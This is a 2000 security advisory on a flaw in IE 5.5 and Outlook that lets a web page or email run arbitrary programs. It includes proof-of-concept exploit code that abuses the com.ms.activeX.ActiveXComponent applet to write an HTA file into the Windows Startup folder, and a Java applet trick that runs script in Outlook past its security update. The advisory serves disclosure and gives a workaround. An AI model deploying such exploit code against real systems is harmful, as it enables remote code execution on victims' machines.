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Georgi Guninski security advisory #23, 2000
IE 5.5/Outlook security vulnerability - com.ms.activeX.ActiveXComponent
allows executing arbitrary programs
Systems affected:
IE 5.5/Outlook/Outlook Express - probably other versions, have not
tested
Risk: High
Date: 5 October 2000
Legal Notice:
This Advisory is Copyright (c) 2000 Georgi Guninski. You may distribute
it unmodified. You may not modify it and distribute it or distribute parts
of it without the author's written permission.
Disclaimer:
The opinions expressed in this advisory and program are my own and
not of any company.
The usual standard disclaimer applies, especially the fact that Georgi
Guninski
is not liable for any damages caused by direct or indirect use
of the information or functionality provided by this advisory or program.
Georgi Guninski, bears no responsibility for content or misuse of this
advisory or program or any derivatives thereof.
Description:
Internet Explorer 5.5/Outlook allow executing arbitray programs after
viewing web page
or email message. This may lead to taking full control over user's
computer.
Details:
The problem is the com.ms.activeX.ActiveXComponent java object which
may be instantiated
from <APPLET> tag (it throws security exception in java console,
but returns object, strange).
The com.ms.activeX.ActiveXComponent java object allows creating and
scripting arbitrary
ActiveX objects, including those not marked safe for scripting.
Examine the code below for more information.
The code is:
---------javaea.html------------------------------------------
<APPLET code="com.ms.activeX.ActiveXComponent" >
</APPLET>
<!-- ^^^ This gives java exceptions in java console, but the object
is instantiated -->
<SCRIPT LANGUAGE="JAVASCRIPT">
a1=document.applets[0];
fn="..\\\\Start Menu\\\\Programs\\\\Startup\\\\EA.HTA";
//fn="EA.HTA";
doc="<SCRIPT>s1=\'Hello world\\nTo get rid of this, delete the file
EA.HTA in Startup folder\';alert(s1);document.body.innerHTML=s1</"+"SCRIPT>";
function f1()
{
a1.setProperty('DOC',doc);
}
function f()
{
// The ActiveX classid
cl="{06290BD5-48AA-11D2-8432-006008C3FBFC}";
a1.setCLSID(cl);
a1.createInstance();
setTimeout("a1.setProperty('Path','"+fn+"')",1000);
setTimeout("f1()",1500);
setTimeout("a1.invoke('write',VA);alert('"+fn+" created');",2000);
}
setTimeout("f()",1000)
</SCRIPT>
<SCRIPT LANGUAGE="VBSCRIPT">
VA = ARRAY()
' Just to get something like com.ms.com.Variant[]
</SCRIPT>
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Regarding this issue and Outlook with "security update" (probably this
should be another advisory).
It is a bit more difficult to exploit this from Outlook because of
the "Outlook security
update" which stops "most scripting". It is common misbelief that the
"Outlook security update"
stops all scripting, but this is not true.
It is possible to trigger the execution of Active Script from email
message
with the help of Java.
Send a email message containing <IFRAME SRC="http://somehost/javascript.html"></IFRAME>
-----------javascript.html-------------
<APPLET CODE="outlookjs.class" MAYSCRIPT>
<PARAM NAME="command" VALUE="window.open('http://www.guninski.com')">
</APPLET>
---------------------------------------
----------outlookjs.java---------------
import java.applet.Applet;
import netscape.javascript.*;
class outlookjs extends Applet {
public JSObject j;
public void init()
{
try {
j=(JSObject) JSObject.getWindow(this);
j.eval(getParameter("command"));
}
catch (Exception e) {System.out.println(e);};
}
}
---------------------------------------
Workaround:
Disable Active Scripting or Java or Scripting of Java applets - better
disable all active content in IE.
Demostration that executes programs is available
Demostration that places a file on Desktop is available
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